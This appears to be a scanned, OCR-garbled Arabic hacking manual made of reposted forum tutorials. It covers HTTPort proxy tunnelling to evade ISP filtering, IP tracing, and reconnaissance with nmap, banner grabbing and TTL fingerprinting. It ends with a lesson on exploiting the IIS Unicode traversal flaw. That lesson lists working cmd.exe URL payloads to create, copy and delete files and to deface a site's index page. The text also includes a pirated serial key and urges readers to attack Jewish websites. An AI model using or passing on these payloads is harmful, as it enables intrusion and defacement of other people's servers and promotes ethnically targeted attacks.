‫تقنية حديثة مرتبطة ببروتوكول التصال ‪TCP/IP‬‬ ‫الخاص بشبكة النترنت‪ ،‬فقد صمم برنامج‬ ‫‪ HTTPort‬من أهجل إتخفاء الهوية الحقيقية عن‬ ‫التخرين وأيضا يتخطى المرشح(البروكسي ‪Proxy‬‬ ‫‪) Server‬التابع لمزود الخدمة ‪ ISP‬وأشبه ما‬ ‫يوصف بأنه برنامج يشغل برامج النترنت من تحت‬ ‫نفق وهمي يتجاوز الحواهجز المنية )المرشح )‬ ‫‪ Proxy‬وليرتبط مع بروكسي آتخر‪.‬‬ ‫وكما ذكرنا فان برنامج ‪ HTTPort‬بطريقة عمله‬ ‫يحقق حرية التصفح في شبكة النترنت وإتخفاء هوية‬ ‫المستخد‪.‬م ‪.‬‬ ‫بل وستخد‪.‬م ايض ًا بروتوكول ‪ SOCKS‬ويقو‪.‬م بدوره‬ ‫تخير قيا‪.‬م فهو يخفي هويتك ول يمكن حتى لمسؤول‬ ‫الشبكة المحلية معرفة نشاطك ناهيك عن هويتك ‪...‬‬ ‫وهنا ايضاحات لبعض الخدمات التي يؤديها البرنامج ؟‬

‫‪272‬‬

273

274

275

276

‫هذا بالضافة إلى أن المتصفح اكسبلورر يسمح لك‬ ‫ سواء ًا كان الفعلي أو‬... ‫باضافة بيانات مزود الخدمة‬ ( Anonymous) ‫وهمي للتخفي‬ ‫ كيلو بايت إل‬18 ‫وهناك برنامج صغير ل يتعدى حجمه‬ : ‫ واسمه‬... ‫م أكبر من حجمه بكثير هجد ًا‬.‫أنه يخد‬ AnalogX Proxy HTTP (web), HTTPS : ‫فهو يدعم كل هذا‬ (secure web), POP3 (recieve mail), SMTP (send mail), NNTP (newsgroups), FTP (file transfer), and Socks4/4a and partial Socks5 (no UDP) protocols! It works great with Internet Explorer, Netscape, AOL, AOL Instant Messenger, Microsoft Messenger, and many !more

277

‫يمكن تحميله من هنا‬ http://www.analogx.com/files/proxyi .exe PortBlocker : ‫ويدعمه برنامج آتخر اسمه‬ ‫يساهم في حماية البورتات التي تستخدمه في تصفحك‬ ‫م في مراقبة‬.‫أو نقلك للملفات أو غيرهما من ان تستخد‬ : ‫تحركاتك وتسجيل معلوماتك‬ PortBlocker is configured to block the most common types of servers that might be on a system (FTP, HTTP, etc), so will not require any modification for most users. If you are running a special server of some sort, then you can easily add 278

it's ports (either TCP or UDP) to it's list, and have them blocked and/or .logged Log unauthorized port access attempts and secure internal servers from internet access ...easily

PortBlocker ‫حمل من هنا برنامج‬ http://www.analogx.com/files/pblock i.exe ‫والحقيقة أحمد ال الذي ذكرني بهذا البرنامج المميز‬ ‫وهو الذي يوضح لك كل المعلومات التي سجلت‬ 279

‫لمراقبتك أناء عملك على نظامك ‪.‬‬ ‫بالطبع كلكم تعلمون أن مايكروسوفت معروفة بطبعها‬ ‫التجسسي ‪...‬‬ ‫فأقد‪.‬م لكم هذا البرنامج لكي تعرفوا كل ما تم تسجيله‬ ‫عنكم ول تنسوني من دعوة ‪ ...‬لني متأكد ان الكم‬ ‫الهائل من المعلومات المرسلة والتقارير عنك وعن‬ ‫غيرك منتظمة وتخفية ولكن آن لها أن تفضح ‪...‬‬ ‫اسم البرنامج ‪Proxy Log Analyzer :‬‬ ‫صورة ‪:‬‬

‫‪280‬‬

‫ بدون ضغط‬MB 1.07 : ‫للتحميل‬ http://www.mechanicalminds.com/s oftware/pla/setup.exe ZIP archive instructions 818 kb http://www.mechanicalminds.com/s oftware/pla/pla.zip ‫ناهيك عن أن المتصفح يسمح لك بتعبئة البيانات كما‬ 281

. ‫تحب‬ Provides a space for you to type the address and port number of the proxy server you want to use to gain access to the Internet over HTTP, Secure, FTP, Gopher, and .Socks protocols : ‫م العدادت المتقدمة للتصال‬.‫فقط استخدا‬

‫حتى اليبي بالماسنجر بامكانك ترسل كل ملفاتك بل‬ . ‫حصول أي انسان على اليبي الحقيقي لك‬ 282

‫والطريقة سهله ‪ ...‬اذهب افتح الماسنجر من قائمة‬ ‫ادوات تخذ تخيارات ‪.‬‬

‫انتهى‪،،،‬‬ ‫"بربنامج ‪ HTTP Port‬الذي يجعلك‬ ‫تتصفح النت متخفيا!!"‬ ‫>منقول من منتدى نجم دوس<‬ ‫>الكاتب‪:‬المدمر<‬ ‫‪283‬‬

‫اسم البرنامج‪:‬‬ ‫‪-----------------------‬‬‫‪HTTPort 3snf‬‬ ‫‪-----------------------‬‬‫الوظيفة‪:‬‬ ‫‪-----------------------‬‬‫برنامج لتصفح بسرية وأمان‬ ‫في النترنت‬ ‫ويريحك من البروكسيات الرقمية‬ ‫ومن البحث عنها‬ ‫‪,,,,,,,,,,,,‬‬ ‫‪------------------------‬‬

‫وصلة التحميل‬ ‫‪-----------------------‬‬‫‪http://www.angelfire.com/tv2/‬‬ ‫‪ssdd63/httport3snf.zip‬‬ ‫‪284‬‬

‫‪------------------------‬‬

‫الشر ح‪:‬‬ ‫‪------------------------‬‬‫الشر ح قا‪.‬م بشرحه أتخي العزيز‬ ‫‪FAHAD‬‬ ‫ال يخليه ماتخلى شي من تخبراته إل وطرحه‬

‫نــقـــــول بســــم ال‬

‫الشكل الول‬

‫‪285‬‬

‫واهجهة البرنامج الرئيسية أضغط على التختيار الثالث‬ ‫فوق‬ ‫‪Port mapping‬‬

‫الشكل الثاني‬

‫‪286‬‬

‫أضغط على التختيار ‪Add‬‬ ‫سوف تضاف قائمة مثل التي في الشكل أسمها‬ ‫‪New mapping‬‬ ‫لين الحين كل شي تما‪.‬م‬

‫الشكل الثالث‬

‫‪287‬‬

‫هنا ياطويل العمر تكتب نفس الكل‪.‬م والرقا‪.‬م المكتوبة‬ ‫زي كذا‬ ‫‪Local port : 80‬‬ ‫‪Remote host : webcache.bt.net‬‬ ‫‪Remote port : 3128‬‬ ‫‪OKY MAN‬‬

‫الشكل الرابع‬

‫‪288‬‬

‫الن عد للتختيار الثاني فوق ‪Proxy‬‬ ‫واكتب مكان الرقم واحد البروكسي الصلي لشتراكك‬ ‫سمعت ‪ ,,,‬الصلي‬ ‫ومكان الرقم أثنين المنفذ‬ ‫وفي التخير ضغطه قوية على الزر‬ ‫‪Start‬‬ ‫ماتخلصنا بقى الخطوة التخيرة‬

‫الشكل الخامس‬

‫‪289‬‬

‫من تخيارات النترنت‬ ‫ضع البروكسي ‪127.0.0.1‬‬ ‫والمنفذ ‪80‬‬

‫والحين رو ح للمتصفح وأدهر بكيفك‬ ‫وكيف نفسك بنفسك وما عليك رقيب إل ال عزوهجل‪..‬‬ ‫انتهى‪،،،‬‬

‫‪290‬‬

‫" شرح بربنامج ‪" NeoTrace‬‬ ‫>منقول<‬ ‫>الكاتب‪< DarK_HaCKeR :‬‬ ‫برنامج يكشف كل شي عن صاحب اليبي‬ ‫مرحبا شباب ‪..‬‬ ‫هاذا برنامج ممتاز للكشف عن معلومات الشخص و‬ ‫بلده و كل شيء بس بمجرد معرفة اليبي ماله ‪ ..‬او‬ ‫تريد تعرف معلومات عن موقع معين ‪..‬‬ ‫اسم البرنامج ‪..‬‬ ‫‪Neo Trace Express‬‬ ‫اتفضلوا الوصلة ‪..‬‬ ‫‪http://www.neoworx.com/dow‬‬ ‫‪nload/NTX325.exe‬‬

‫‪291‬‬

292

‫اتمنى ان الشر ح وافي وهذا هو السيريل نمبر ‪:‬‬ ‫‪XDQG-2ZKN-X2PA-KTRQ‬‬ ‫‪293‬‬

‫انتهى‪،،،‬‬

‫" كيفية القيا م بجمع المعلومات عن‬ ‫موقع أو شبكة "‬ ‫>منقول من منتدى إعصار<‬

‫‪294‬‬

‫>الكاتب‪ :‬المدمر<‬ ‫طرق هجمع المعلومات لي موقع أو سيرفر أو شبكة أيا‬ ‫كانت ‪:‬‬ ‫=)الطريقة الولى(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫وهي من تخلل زيارة موقع‬ ‫‪/http://www.netcraft.com‬‬ ‫وتكتب الموقع هناك ورا ح يعرض لك معلومات تفيدك‬ ‫كثير‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=)الطريقة الثانية(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫وهي قديمة تستخد‪.‬م حديثا لكني لادري مدى عملها‬ ‫ولنفرض الموقع الي نبي نجيب معلومات عنه هو‬ ‫‪/http://www.almodammer.com‬‬ ‫نقو‪.‬م بإرسال رسالة ليميل وهمي وغير موهجود مثل‬ ‫‪dfl;kjgk'[email protected]‬‬ ‫‪om‬‬ ‫وبعد ارسال رسالة ليميل وهمي را ح تستقبل رد ولما‬ ‫‪295‬‬

‫تعرض الـ ‪ Headers‬الخاص بالرسالة را ح تلقي‬ ‫معلومات عن الموقع‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=)الطريقة الثالثة(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫الـ ‪Banners‬‬ ‫ماهو البانر؟‬ ‫البانر وباتختصار شديد هي الرسائل التي تأتيك عندما‬ ‫تنفذ أمر ما يعني الرد‪..‬‬ ‫وكيف را ح نستغلها في كشف معلومات الموقع؟‬ ‫عن طريقة أداة ‪ Telnet Client‬عميل التلنت‬ ‫والطريقة هي أن تقو‪.‬م بالتصال بأحد المنافذ سواء كان‬ ‫‪FTP 21‬‬ ‫أو‬ ‫‪TELNET 23‬‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=)الطريقة الرابعة(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫وهي ‪HTTP‬‬ ‫‪296‬‬

‫‪Hyper Text Transfer Protocol‬‬ ‫ويعمل على المنفذ ‪8080 - 80‬‬ ‫ألحين نتصل على المنفذ ‪ 80‬عن طريق ‪Telnet‬‬ ‫وبعدين نكتب المر التالي‬ ‫‪GET /qwe HTTP/1.1‬‬ ‫بعد كذا را ح يخبرنا البانر بوهجود صفحات الخطأ ‪400‬‬ ‫ورا ح تجيك معلومات هائلة عن الهدف‬ ‫وفيه عندك امر ثاني وهو‪:‬‬ ‫‪HEAD 127.0.0.1 HTTP/1.1‬‬ ‫تقو‪.‬م بتنفيذه ‪...‬‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=)الطريقة الخامسة(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫وهي من أمر ‪ ping‬الذي يقو‪.‬م بإرسال عدة طلبات للـ‬ ‫‪ ip‬أو للموقع ويقو‪.‬م باستقبال الردود وبسرعة هائلة‬ ‫الحين كيف نستفيد منها في تحديد معلومات للموقع !‬ ‫حيث تقو‪.‬م بوضع التالي‬ ‫‪ping ipsite‬‬ ‫‪ =ipsite‬الي بي الخاص بالموقع‬ ‫ورا ح يطلعلك عدة اسطر حنا مايهمنا ال كلمة‬ ‫‪TTL=XXX‬‬ ‫‪297‬‬

‫=القيمة والعدد الي طلعلك‬XXX ‫م‬.‫بتقولي وش فايدته أقولك من تخلله يمكن تحديد نظا‬ :‫التشغيل وهذي امثلة‬ Windows 9x/NT Intel 32 Windows 9x/NT Intel 128 Windows 2000 Intel 128 DigitalUnix 4.0 Alpha 60 Unisys x Mainframe 64 Linux 2.2.x Intel 64 FTX(UNIX) 3.3 STRATUS 64 SCO R5 Compaq 64 Netware 4.11 Intel 128 AIX 4.3.x IBM/RS6000 60 AIX 4.2.x IBM/RS6000 60 Cisco 11.2 7507 60 Cisco 12.0 2514 255 IRIX 6.x SGI 60 FreeBSD 3.x Intel 64 OpenBSD 2.x Intel 64 Solaris 8 Intel/Spar 64 Solaris 2.x Intel/Sparc 255 ‫وقد يحدث اتختلف في القيم حيث يكون الفرق يساوي‬ 298

‫واحد‬ ‫أي‪ :‬عند مرور ‪) data list or packet‬حز‪.‬م او‬ ‫قائمة بيانات( بـ ‪ Nodes‬حيث أن ‪ TTL‬تنقص بـ ‪1‬‬ ‫لذلك عليك ان تستعمل أمر ‪ tracert‬في الويندوز أما‬ ‫‪ traceroute‬فهو تخاص باليونكس‬ ‫وهو امر تخاص بعرض معلومات عن الشخص أو‬ ‫الموقع‬ ‫ويمكننا استخدامه بهذه الطريقة‬ ‫‪tracert ip‬‬ ‫‪ =ip‬عنوان الموقع أو السخص‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=)الطريقة السادسة(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫عن طريقة الدوات والبرامج‬ ‫أول ‪ Windows‬لنه السهل‬ ‫يمكنك تحديد معلومات عن الموقع والسيرفر او المنافذ‬ ‫المفتوحة من قبل تطبيق اي برنامج ويمكنك استغلل‬ ‫المنافذ بكثير من عمليات التختراق وسوف نطرق لها‬ ‫في الدرس الثاني‬ ‫تعرفون ان الويندوز مليان برامج لكن تعرفون ان مو‬ ‫كل برنامج مثل أي برنامج عشان كذا را ح اذكر‬ ‫‪299‬‬

‫الفضل ‪:‬‬ ‫‪) N-Stealth‬لتحديد معلومات عن الشبكة منها‬ ‫المنفذ ثغرات ‪...‬الخ(‬ ‫=============‬ ‫‪( Shadow Sceurity Scanner‬من أفضل‬ ‫برامج البحث عن المنافذ والتطبيقات والعمليات ومعظم‬ ‫الثغرات مع وهجود شر ح لكيفية علهجها(‬ ‫=============‬ ‫‪( SuperScan‬برنامجي المفضل فأنا استخدمه‬ ‫لتختراق المواقع والهجهزة حيث يساعدني كثيرا في‬ ‫معرفة المنافذ المفتو ح بالموقع والهجهزة ويحتوي‬ ‫على ‪ List‬كبيرة يمنك الضافة عليها كيفما شئت(‬ ‫‪--------------------------------------------------‬‬‫‪---------------------‬‬‫الحين نجي على ‪Linux‬‬ ‫هو برنامج واحد مفضل وأكثر مستخدمين ليونكس‬ ‫يشهدون بجدارته والذي يحمل اسم‬ ‫‪Nmap‬‬ ‫اتختصار لـ ‪) Network Maper‬مستكشف‬ ‫الشبكات(‬ ‫وطبعا يفوق كل ادوات ويندوز وطرق ويندوز علشان‬ ‫كذا دائما ينصح بـ ‪ Linux‬وهو تخاص للمتهمين‬ ‫‪300‬‬

‫السيرفرات‬/‫المواقع‬/‫باتختراق الشبكات‬ : ‫كيفية استمعاله‬ ‫ ورا ح تجد الكثير من الوامر الذي‬nmap ‫شغل‬ /‫ظهرت مثل‬ l] Nmap V. 3.00 Usage: nmap [Scan] [Type(s)] [Options Some Common Scan Types ('*' (options require root privileges sS TCP SYN stealth port scan- * (((default if privileged (root sT TCP connect() port scan (default(for unprivileged users sU UDP port scan- * sP ping scan (Find any reachable(machines sF,-sX,-sN Stealth FIN, Xmas, or- * (Null scan (experts only sR/-I RPC/Identd scan (use with(other scan types Some Common Options (none are :(required, most can be combined O Use TCP/IP fingerprinting to- * 301

guess remote operating system p ports to scan. Example range: '1-'1024,1080,6666,31337 F Only scans ports listed in nmap-services v Verbose. Its use isrecommended. Use twice for greater .effect P0 Don't ping hosts (needed toscan http://www.microsoft.com/ and (others Ddecoy_host1,decoy2[,...] Hide- * scan using many decoys T General timing policyn/-R Never do DNSresolution/Always resolve [default: [sometimes resolve oN/-oX/-oG Outputnormal/XML/grepable scan logs to iL Get targets from file; Use '-' forstdin S /-e Specify source address or- * 302

‫‪network interface‬‬ ‫‪interactive Go into interactive-‬‬‫‪(mode (then press h for help‬‬ ‫‪Example: nmap -v -sS -O‬‬ ‫‪http://www.my.com/ 192.168.0.0/16‬‬ ‫‪'*.*.'192.88-90‬‬ ‫‪SEE THE MAN PAGE FOR MANY‬‬ ‫‪MORE OPTIONS, DESCRIPTIONS,‬‬ ‫‪AND EXAMPLES‬‬ ‫وأيضا يحتوي العديد من الوامر المجهولة !!!!!!!!!‬ ‫ولخلفية ومعلومات اكثر قم بالذهاب إلى ‪man‬‬ ‫‪ page‬الخاص بالبرنامج‪..‬‬ ‫لنشر ح أهم أمر وهو‬ ‫‪nmap -sS -O -vv almodammer.com‬‬ ‫‪=almodammer.com‬الموقع المراد فحصه‬ ‫ورا ح يعرض لك معلومات هائلة تفوق معلومات برامج‬ ‫وأدوات ويندوز‬ ‫منها المنافذ والصدار والملقم والسيرفر ‪.......‬‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫=(الطريقة السابعة(=‬ ‫^^^^^^^^^^^^^^^^^^^‬ ‫‪303‬‬

‫تعتمد على وهجود هجهازك ‪ Linux‬أو ‪Shell‬‬ ‫‪ Account‬حتى تقدر تطبق اوامر اليونكس في‬ ‫الويندوز لكن لو تركب ‪ Linux‬أفضل لن ‪Shell‬‬ ‫لز‪.‬م يكون ممتاز وسعره مناسب علشان كذا لتتعب‬ ‫نفسك وركب ‪ Linux‬وارتا ح‬ ‫المهم هذا أمر ‪whois‬‬ ‫والي يوفره لنا ‪ Linux‬والويندوز كبرامج كبيرة‬ ‫وثقيلة وغير دقيقة‬ ‫ولمعلومات أكثر اضف المر‬ ‫‪man whois‬‬ ‫‪--------------------------------------------------‬‬‫‪---------------‬‬‫أما عن طريق الويندوز فيمكنك البحث في ‪google‬‬ ‫?‪http://www.google.com/search‬‬ ‫‪q=whois&btnG=Google+Search‬‬ ‫والكثير من المواقع تقد‪.‬م هذي الخدمة وهي سكربتات‬ ‫و ‪ cgi‬تقو‪.‬م بالبحث عن الموقع بإحدى الطرق التي‬ ‫ذكرتها مع اتختلف بسيط وهي شبيهة بموقع‬ ‫‪ netcraft‬الطريقة الولى‪..............‬‬ ‫انتهى‪،،،‬‬

‫‪304‬‬

305

‫" بربنامج عمران سكان للبحث عن‬ ‫الثغرات "‬ ‫>منقول من عالم الكومبيوتر<‬ ‫>الكاتب‪>P @ LH@CKERZ :‬‬

‫برنامج عمران سكان يعتبر من أفضل برامج كشف‬ ‫الثغرات و ذلك لما يتميز به من سرعه سهولة في‬ ‫‪.‬تغيير ملف الثغرات‬

‫‪306‬‬

‫‪ 1‬اسم الموقع المراد البحث عن ثغرات فيه‬ ‫و ل تنسى ‪//:http‬‬ ‫ملحظه ‪:‬‬ ‫ل تضع \ في نهايه الموقع مثل‬ ‫‪/http://www.XXX.com‬‬ ‫لنه سيضع من عنده ‪ /‬عند تطبيق الثغره‬ ‫‪ 2‬اسم ملف الثغرات‬ ‫‪ 3‬لتغيير ملف الثغرات إلى ملف آتخر‬ ‫‪ 4‬الثغرات الموهجوده في الملف‬ ‫‪ 5‬لبدء الفحص‬ ‫‪ 6‬لليقاف‬ ‫‪ 7‬شاشة العمليات الجاريه من فحص الثغرات على‬ ‫الموقع‬

‫‪307‬‬

‫‪ 8‬الثغرات الموهجوده على الموقع التي نجح اتختبارها‬ ‫‪ 9‬لمسح شاشه العمليات و النتائج لعاده البحث مره‬ ‫اتخرى على ثغرات اتخرى‬ ‫‪ 10‬ال‬ ‫‪ 11‬منفذ ال‬ ‫ملحظ ‪11 10 :‬‬ ‫اذا ما عرفت ال فيجب عليك مسح البيانات‬ ‫‪ 12‬للخروج‬

‫ملحظه هامه ‪:‬‬ ‫ل تنسو المواقع اليهودية التي تنتظر من يخترقها‬ ‫فأرهجو عد‪.‬م استخدامه ضد الموقع العربية او‬ ‫السلمية‪.‬‬

‫‪308‬‬

‫انتهى‪،،،‬‬

‫" الوختراق عن طريق اليوبنيكود‬ ‫)الجزء الول( "‬ ‫>منقول<‬ ‫>الكاتب‪
‫‪309‬‬

‫يحتوى الدرس الول على ) ‪13‬‬ ‫بنقطة ( وهي كما يلي ‪-:‬‬ ‫ تعريف باليوبنيكود ‪.‬‬‫ تاريخ ظهور هذه الثغر ة ‪.‬‬‫ كيفية ايجاد هذه الثغرات ‪.‬‬‫ كيف يتم استغلل اثغرات‬‫اليوبنكود ‪.‬‬ ‫ الوامر المستخدمة بواسطة ملف‬‫‪. CMD‬‬ ‫ طريقة تطبيق هذه الثغرات ‪.‬‬‫ كيفية اوختصار اثغر ة اليوبنيكود‬‫حتى تتمكن من تفعيل امر الـ‬ ‫‪. ECHO‬‬ ‫ طريقة بنسخ ملف الـ ‪ CMD‬لتاحة‬‫امكابنية الكتابة على الملفات ‪.‬‬ ‫كيفية معرفة مشكلة الـ‬ ‫‬‫‪ Access Denied‬والحلول المتبعة‬ ‫لها ‪.‬‬ ‫ كيفية عمل اكاوبنت للدوخول‬‫بواسطة الـ ‪. FTP‬‬

‫‪310‬‬

‫ طريقة كشف باسورد‬‫الدمينستريتور ‪.‬‬ ‫ تغيير الصفحة الرئيسية للموقع‬‫وعملية الب لوود بواسطة‬ ‫بربنامج ‪. TFTP‬‬ ‫ مسح ملفات اللوق حتى ل يتم‬‫التعرف عليك ‪.‬‬

‫‪311‬‬

‫ تعريف باليوبنيكود ‪.‬‬‫اليونيكود عبارة عن مجموعة من الثغرات في‬ ‫مجموعة تخدمة المعلومات التي ركبت مع ‪IIS4.0 /‬‬ ‫‪ IIS5.0‬والذي ياتي عادة مع ‪. NT4 / Win2k‬‬

‫ تاريخ ظهور هذه الثغر ة ‪.‬‬‫ليوهجد تاريخ محدد لظهور اول ثغرة لليونيكود لذا‬ ‫يعتبر ظهورها بواسطة شخص مجهول‬ ‫‪ ، anonymous person‬وقيل ان اول ظهور‬ ‫لثغرات اليونيكود كانت بواسطة الصينين ولكن ليوهجد‬ ‫مايثبت صحة هذا الكل‪.‬م لهذه الثغرات ‪ ،‬فتم استغلل‬ ‫هذه الثغرات من قبل المخترقين وتطوير البرامج‬ ‫اللزمة لها ‪.‬‬

‫ كيفية ايجاد هذه الثغرات ‪.‬‬‫يتم ايجاد هذه الثغرات بطريقتين ‪-:‬‬ ‫‪ -1‬بواسطة البرامج اللزمة والمخصصة‬ ‫لكشف هذه الثغرات سواء بالبرامج التي‬ ‫‪312‬‬

‫تعمل على نظا‪.‬م ويندوز او بطريقة الشل‬ ‫والتي تعمل على نظا‪.‬م لينكس ‪.‬‬ ‫‪ -2‬بواسطة تطبيق الثغرة على الموقع‬ ‫مباشرة ‪.‬‬

‫ كيف يتم استغلل اثغرات‬‫اليوبنكود ‪.‬‬ ‫عند تطبيق الثغرة على نظا‪.‬م الـ ‪ IIS4 / IIS5‬يبدا‬ ‫ملف ‪CMD‬بفك شفرة اليونكود في المثال الخطاء‬ ‫ومن هنا يتم استغللها ‪.‬‬

‫ الوامر المستخدمة بواسطة‬‫ملف ‪. CMD‬‬ ‫الوامر المستخدمه بواسطة ملف الـ ‪ CMD‬وهي‬ ‫امر لنشاء دليل هجديد وامر للغاء دليل وامر النسخ‬ ‫وامر النقل وامر الحذف وامر تغيير اسماء الملفات‬ ‫وامر لرؤية محتويات الملف وامر الكتابة داتخل أي‬ ‫ملف وامر لسحب أي ملف ‪ ،‬وهي حسب المثلة‬ ‫التالية ‪-:‬‬ ‫‪313‬‬

‫امر ابنشاء دليل جديد‬: http://www.xxxx.com/msadc /..%c0%af../.. %c0%af../winnt/system32/c md.exe?/c+md+c:\hEx ‫امر الغاء دليل‬: http://www.xxxx.com/msadc /..%c0%af../.. %c0%af../winnt/system32/c md.exe?/c+rd+c:\hEx ‫ليمكن الغاء أي دليل ال‬:‫للمعلومية‬ ‫اذا كان فارغا ً تما م من الملفات‬ ‫والمجلدات‬ ‫المر المستخد م للنسخ‬: http://www.xxxx.com/msadc /..%c0%af../.. %c0%af../winnt/system32/c md.exe?/c+copy+c:\winnt\sy 314

stem32\cmd.exe+c:\inetpub\ scripts\hEx.exe ‫المر المستخد م للنقل‬: http://www.xxxx.com/msadc /.. %c0%af../winnt/system32/c md.exe?/c+move+c:\winnt\s ystem32\cmd.exe+c:\inetpub \scripts\hEx.exe+c:\ ‫المر المستخد م للحذف‬: http://www.xxxx.com/msadc /..%c0%af../.. %c0%af../winnt/system32/c md.exe?/c+del+c:\hEx.mdb ‫المر المستخد م لتغيير مسمى‬ ‫الملفات‬: http://www.xxxx.com/msadc 315

/.. %c0%af../winnt/system32/c md.exe?/c+ren+c:\index.htm +hEx.htm ‫المر المستخد م لرؤية محتويات‬ ‫الملف‬: http://www.xxxx.com/msadc /..%c0%af../.. %c0%af../winnt/system32/c md.exe?/c+type+c:\hEx.txt ‫المر المستخد م للكتابة داوخل أي‬ ‫ملف‬: http://www.xxxx.com/msadc /.. %c0%af../winnt/system32/c md.exe?/c+echo+sNiper_hEx +>c:\hEx.txt

316

‫المر المستخد م لعملية سحب أي‬ ‫‪:‬ملف‬ ‫عليك القيا م اول ً بنسخ الملف المراد‬ ‫سحبه الى أي دليل وبعدها يتم كتابة‬ ‫اسم الملف في اوخر العنوان‬ ‫‪:‬كالتالي‬ ‫‪http://www.xxxx.com/msadc‬‬ ‫‪/hEx.mdb‬‬

‫ طريقة تطبيق هذه الثغرات ‪.‬‬‫تطبيق الثغر ة على الموقع من‬ ‫وخلل المتصفح تتم حسب المثلة‬ ‫التالية ‪-:‬‬ ‫‪http://www.xxxx.com/scripts‬‬ ‫‪/..‬‬ ‫‪%c1%1c../winnt/system32/c‬‬ ‫‪\:md.exe?/c+dir+c‬‬ ‫‪http://www.xxxx.com/scripts‬‬ ‫‪/..‬‬ ‫‪317‬‬

%c0%9v../winnt/system32/c \:md.exe?/c+dir+c http://www.xxxx.com/scripts /.. %c0%af../winnt/system32/c \:md.exe?/c+dir+c http://www.xxxx.com/scripts /.. %c0%qf../winnt/system32/c \:md.exe?/c+dir+c http://www.xxxx.com/scripts /.. %c1%8s../winnt/system32/c \:md.exe?/c+dir+c http://www.xxxx.com/scripts /.. %c1%9c../winnt/system32/c \:md.exe?/c+dir+c http://www.xxxx.com/scripts /.. 318

‫‪%c1%pc../winnt/system32/c‬‬ ‫‪\:md.exe?/c+dir +c‬‬ ‫وقد بنحتاج الى تغيير مسمى الدليل‬ ‫بحيث يكون ‪-:‬‬ ‫‪Msadc , _vti_bin , iisadmpwd ,‬‬ ‫‪_vit_admin , scripts ,‬‬ ‫‪samples , cgi-bin‬‬

‫ كيفية اوختصار اثغر ة اليوبنيكود‬‫حتى تتمكن من تفعيل امر الـ‬ ‫‪. ECHO‬‬ ‫في حالة اكتشاف موقع يعابني من‬ ‫مشكلة اليوبنيكود ولنفترض ابنه كان‬ ‫على هذه الثغر ة ‪-:‬‬ ‫‪http://www.xxxx.com/msad‬‬ ‫‪c/..%c0%af../..‬‬ ‫‪%c0%af../winnt/system32/‬‬ ‫‪\:cmd.exe?/c+dir+c‬‬

‫‪319‬‬

‫فنحتاج الى بنسخ ملف‬ ‫‪ w3svc.exe‬الى مجلد‬ ‫‪ inetpub\scripts‬والمر يكون‬ ‫بهذه الطريقة ‪-:‬‬ ‫‪http://www.xxxx.com/msad‬‬ ‫‪c/..%c0%af../..‬‬ ‫‪%c0%af../winnt/system32/‬‬ ‫?‪cmd.exe‬‬ ‫‪c+copy+c:\winnt\system32‬‬ ‫‪\cmd.exe+c:\inetpub\script‬‬ ‫‪s\w3svc.exe‬‬ ‫بعد بنسخ ملف ‪ w3svc.exe‬الى‬ ‫مجلد ‪ ، inetpub\scripts‬الن‬ ‫بنقو م بتصفح الموقع من وخلل‬ ‫الثغر ة بهذه الطريقة ‪-:‬‬ ‫‪http://www.xxxx.com/scrip‬‬ ‫‪\:ts/w3svc.exe?/c+dir+c‬‬ ‫الن بنستطيع الكتابة داوخل أي ملف‬ ‫وبالتحديد الملف الرئيسي للموقع‬ ‫الذي غالبا مايكون في هذا الدليل‬ ‫‪320‬‬

inetpub\wwwroot\index.ht ‫ بحيث يكون المر بالشكل‬m -: ‫التالي‬ http://www.xxxx.com/scrip ts/w3svc.exe?/c+echo+Hac ked+By+sNiper_hEx+hExRa [email protected]+>+c:\inetp ub\wwwroot\index.htm

‫ لتاحة‬CMD ‫ طريقة بنسخ ملف الـ‬. ‫امكابنية الكتابة على الملفات‬ ‫ وهو لعطاء‬CMD ‫الغرض من نسخ ملف الـ‬ ‫امكانية للكتابة داتخل السيرفر في بعض الحالت ويتم‬ -: ‫نسخه الى مجلد السيكربت بهذه الطريقة‬ http://www.xxxx.com/msad c/..%c0%af../.. %c0%af../winnt/system32/ cmd.exe? c+copy+c:\winnt\system32

321

‫‪\cmd.exe+c:\inetpub\script‬‬ ‫‪s\cmd1.exe‬‬ ‫الن بامكاننا استخدا‪.‬م ملف الـ ‪ CMD‬الجديد في‬ ‫الثغرة بدل من الول بهذا الشكل ‪-:‬‬ ‫‪http://www.xxxx.com/msad‬‬ ‫‪c/..%c0%af../..‬‬ ‫‪%c0%af../winnt/system32/‬‬ ‫‪\:cmd1.exe?c+dir+c‬‬

‫ كيفية معرفة مشكلة الـ ‪Access‬‬‫‪ Denied‬والحلول المتبعة لها ‪.‬‬ ‫تتم معرفة مشكلة الـ ‪ Access Denied‬من‬ ‫تخلل المحاولة في حذف أي ملف من أي امتداد ‪،‬‬ ‫فعند ظهور رسالة الـ ‪ Access Denied‬فاليك‬ ‫هذه الطرق حتى تتمكن من الكتابة على الملفات‬ ‫والتحكم اكثر على السيرفر ‪-:‬‬ ‫‪ -1‬الطريقة الولى نسخ ملف الـ ‪ CMD‬الى دليل‬ ‫السيكربت بمسمى ‪ CMD1‬فسوف يتا ح لك‬ ‫امكانية الكتابة باستخدا‪.‬م المر ‪ Copy‬باستخدا‪.‬م‬ ‫هذا المر ‪-:‬‬ ‫‪322‬‬

